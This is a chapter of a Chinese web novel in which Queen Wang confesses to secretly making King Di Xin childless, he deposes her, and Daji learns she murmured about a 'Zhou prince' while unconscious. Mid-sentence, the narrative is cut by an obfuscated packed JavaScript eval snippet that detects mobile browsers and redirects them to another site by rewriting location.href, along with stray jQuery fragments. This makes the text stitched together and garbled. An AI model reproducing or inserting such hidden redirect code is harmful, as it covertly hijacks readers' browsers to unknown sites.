泄露
“臣妾先失两子,后来才有了庚儿。本该事事为庚儿考量计较,可天家从来无情,手足之情与君临天下,终究难以两全。权衡之下,臣妾别无他法,能做的,也只有保住庚儿这一条命而已。”本该是舐犊情深的话语,从王氏口中说出来,却平淡得像在说旁人的琐事,连她自己都察觉到这份说辞里的漏洞,语气里藏着一丝不易察觉的虚浮。
“你到底给孤吃了什么?”帝辛的声音像被砂纸磨过,嘶哑中带着滔天的怒火,每一个字都透着压抑不住的戾气。
“也没什么金贵东西,不过是猪胆、土贝之类的寻常物件罢了。”王氏轻描淡写地说道,“得了机会就多放些,没机会便少放些。起先药效不足的时候,还需要臣妾亲自动手,悄悄除掉那些不该有的胎儿。可日子久了,药效稳固了,也就不必再费那些手脚,自然不会再有胎儿临世了。”她说着,忽然掩住嘴,轻轻笑了起来,眼底的恶意毫不掩饰,“说来也有趣,大王明明怨恨臣妾,可臣妾亲手预备的吃食,大王却从未推辞过,次次都肯入口。”帝辛越是愤怒,她心里就越痛快,仿佛积压了半生的怨恨,都在这笑声里得到了宣泄。
帝辛虽不清楚猪胆、土贝混在吃食里究竟有什么功用,但他早已断定,自己多年无子,定然是这毒妇从中作梗。而王氏这副事不关己的笑容,更是像一把尖刀,狠狠扎进他的心里,让他怒不可遏,恨不得立刻将她扒皮抽筋,碎尸万段。可他转念一想,铜柱尚未铸成,这般轻易地让她死去,反倒便宜了她。他强行压下心头的怒火,冷冷吩咐身后的侍卫:“把她绑起来,严加看管!”他偏要让她如意不得,偏要让她活着,受尽零碎苦楚,才能消解这滔天恨意。
“你说这些,无非是想激怒孤,好让孤立刻取了你的性命,痛快地了断。”帝辛一步步逼近王氏,眼神里的冰冷几乎要将人冻伤,“孤偏不遂你的意!孤要你活着,一天一天地受着,受够了所有苦楚,才能咽下最后一口气!”话音落,他不再看王氏一眼,转身就走,只留下一句冰冷的吩咐:“看好王后,不许她寻死觅活!”便头也不回地踏出了地坤宫,将满殿的白纱与悲凉都抛在了身后。
一路上,帝辛的怒火始终烧得旺盛,胸口剧烈起伏着,连呼吸都带着灼痛感。他一边走,一边对身旁的侍人下令:“传孤旨意,废黜王氏王后之位!”侍人闻言,不由得愣住了——这般重大的旨意,没有大王的手谕,也未曾召开长老会议商议,贸然宣召,若是出了差错,谁也担待不起。他不敢不从,却也不敢贸然应下,只能僵在原地。帝辛见他迟迟不动,怒火更盛,猛地回头,扬手就甩了一巴掌。那巴掌没落在开口迟疑的侍人脸上,反倒打在了身后一个跟得稍近的内竖脸上,“啪”的一声脆响,在寂静的宫道里格外刺耳。
“立刻去知会各族族长、朝中长老!”帝辛的声音带着破音的嘶吼,分不清是在冲谁发怒,“若是有人质疑,便把王氏今日说的话,一字不落地复述一遍!”众人被他的暴怒吓得魂飞魄散,再也不敢有半分迟疑。有个机灵的侍人立刻应了一声,撒腿就往长老殿跑去;其余人也反应过来,纷纷四散奔去,各自到各处宣旨传讯。而帝辛自己,却在心里苦苦思索——王氏从前用尽了阴毒手段,如今自己竟一时想不出更狠的法子来折磨她,心中烦闷到了极点。他也不愿回华夏宫,转身便径直奔了延庆殿而去。
另一边,帝辛去地坤宫的时候,妲己正抱着雷灵,坐在窗边看印儿煮药。印儿在一旁絮絮叨叨地说着她昏迷期间宫外的琐事:那些因大王冷落而暗自抱怨的妃嫔,那些因宫中变故而胆战心惊的宫人,还有帝辛当日得知她坠楼时的悲痛情状,以及这数月来,除了上朝听政,帝辛几乎寸步不离地守在她床边的模样。听着这些话,妲己的心里五味杂陈——先前对帝辛的厌恶与怨恨,仿佛在这一刻都消散了,取而代之的,是一丝难以言说的感动。
印儿正说着,忽然停了下来,眼神直直地盯着药壶,眉头紧锁,沉默了许久。随后,她猛地抬起头,目光灼灼地看向妲己,神色严肃得反常,让妲己不由得有些莫名其妙。
“好好的,你这么看着我做什么?”妲己轻声问道。
“好娘娘,”印儿的声音带着一丝不易察觉的颤抖,语气却无比郑重,“我说句不恭敬的话,在我心里,您不只是我要效忠的主子,更是我最亲近的姐姐。接下来我问的话,您想说便说,不想说便不说,但您一定要听进去。”她说着,情绪愈发激动,眼眶都微微红了。
见印儿说得如此严肃,妲己虽不知她要说什么,却也认真地点了点头,应道:“好,我会认真听。你说吧。”
妲己本以为印儿会说出什么惊天动地的大事,没想到她还没开口,眼泪就先掉了下来,哽咽着问道:“娘娘……您和那周国的公子,究竟有什么关联?”
“周国的公子?”妲己的心猛地一沉,像被一块巨石砸中,惊得她浑身一颤。她急切地抓住印儿的手,追问道:“你是从哪里听来的?宫里是不是有什么传言?”
“不是传言。”印儿摇了摇头,眼泪掉得更凶了,抽泣着说道,“是娘娘您昏迷的时候,自己说出来的。”
妲己更加慌乱了——她从来没有说呓语的毛病,难道是这次坠楼摔得太重,昏迷期间并非全然无知,而是迷迷糊糊地说了些不该说的话?她不知道自己究竟说了什么,有没有提到具体的名字,一颗心瞬间提到了嗓子眼,既担心是姬发,又怕牵扯到伯邑考。她强压着心头的慌乱,继续追问:“我……我究竟说了什么?”
“娘娘之前昏迷得深沉,一直安安静静的。”印儿擦了擦眼泪,回忆着当时的情景,声音依旧哽咽,“偏偏有一天,您刚有转醒的迹象,大王散朝后过来守着您。就在那时,奴婢们忽然听见您迷迷糊糊地说:‘你是周国的公子,我本就配不上你,我这身子又被他人占了,从此还是两相忘的好……’当时屋子里的太医和奴婢们都被吓得魂飞魄散,谁也不敢吱声。”
“大王……大王也听见了?”妲己的声音带着一丝不易察觉的颤抖,指尖都开始发凉。
“应该是听见了。”印儿点了点头,眼眶又红了,“那会儿大王就坐在您的床边,离您最近。”她说着,眼泪又忍不住掉了下来。
“大王听到这些话,脸色怎么样?”妲己连忙起身,走到印儿身边,轻轻拍了拍她的肩膀。她知道,这丫头是替自己担心害怕,这些日子把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028937|194484||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊惧都憋在了心里,如今说出来,难免会哭着释放情绪。
“印儿不敢看。”印儿吸了吸鼻子,抽泣着说道,“听金花说,她当时仗着站得远,偷偷瞄了一眼,说大王只是微微皱了皱眉,并没有表现出十分不快的样子。可您想啊,大王既然皱眉了,就定然是听进去了。他听见了却不动声色,印儿真的替娘娘担心……”
妲己的心彻底沉了下去。一瞬间,惊惧、惶恐、困惑、担忧……无数情绪涌上心头,像一团乱麻,缠得她喘不过气,连心里究竟是什么滋味都分不清了,只剩下无尽的不安。她越想越慌乱,越想越害怕,整个人都有些发怔。印儿看着妲己苍白的脸色,更加确定自己的猜测——娘娘和那位周国公子,定然有着不一般的过往,而且娘娘心里,似乎还装着那个人。她一时不知道该说什么来安慰妲己,又想到太子武庚对娘娘的真心,再看妲己如今进退两难的处境,更是心疼又害怕,忍不住又嘤嘤地哭了起来。
“好好的,你又哭了。”听到印儿的哭声,妲己才缓缓回过神来。她的眼神依旧有些发直,心里的慌乱也未曾消散,可她却硬生生逼自己定了定神,眼底渐渐透出一股决绝与释然,语气也变得坚定而平淡,“我知道你担心我,可哭是解决不了任何问题的,反而会让我心里更乱。大王既然不动声色,之后也依旧像从前那般待我,这事儿想来应该是无大碍的。”
话虽如此,妲己的心里却一片模糊——这事儿怎么可能真的无大碍?帝辛那般跋扈阴狠,怎么可能容忍自己的女人心里装着别的男人?他当时不动声色,或许只是一时隐忍,又或许是那会儿太过心疼她的伤势,暂时没心思追究。想要长远地将这件旧事抛开,恐怕还需要细细谋划,而自己,也需要更加尽力地讨好他,才能保全自身。
想到这里,妲己又猛然想起一件事,心再次悬了起来,慌忙追问印儿:“我昏迷的时候,只说了‘周国公子’,有没有提到具体的名姓?”
“没有。”印儿懵懵懂懂地摇了摇头。
“如此就好,如此就好。”妲己喃喃自语,悬着的心稍稍放下了一些。她方才追问,最担心的就是提到了具体的名字——若是那样,就会无故给那个人添上罪名,让他日后多了一重危险。如今确认没提名字,她才稍稍安心,却又忽然发现,自己竟分不清昏迷时心心念念的那个人是谁,也不知道刚才担心的是姬发,还是伯邑考。
她细细回想印儿转述的那些话,“你是周国的公子,我本就配不上你”,这般语气,倒像是对伯邑考说的更为合理可信一些。她在心里默默祈祷,只愿那两人永远不要来朝歌,这样就不会有任何危险了。可转念一想,她又忍不住自嘲地笑了笑——怎么可能永远不来呢?伯邑考的“邑”字,本就是他周国世子身份的象征,明晃晃地摆在那里,他迟早是要来朝歌的,这根本就是躲不开的宿命。
若是他真的来了,自己便尽力救他一命;若是救不了,那也只能听天由命,随他去了。这一世,自己终究是对不住他。连昏迷的时候,都只敢说自己的身子被他人占了,终究还是心虚,即便在无意识的状态下,也不敢坦白,自己早已被两个男人占据,再也不是从前那个干净纯粹的自己了。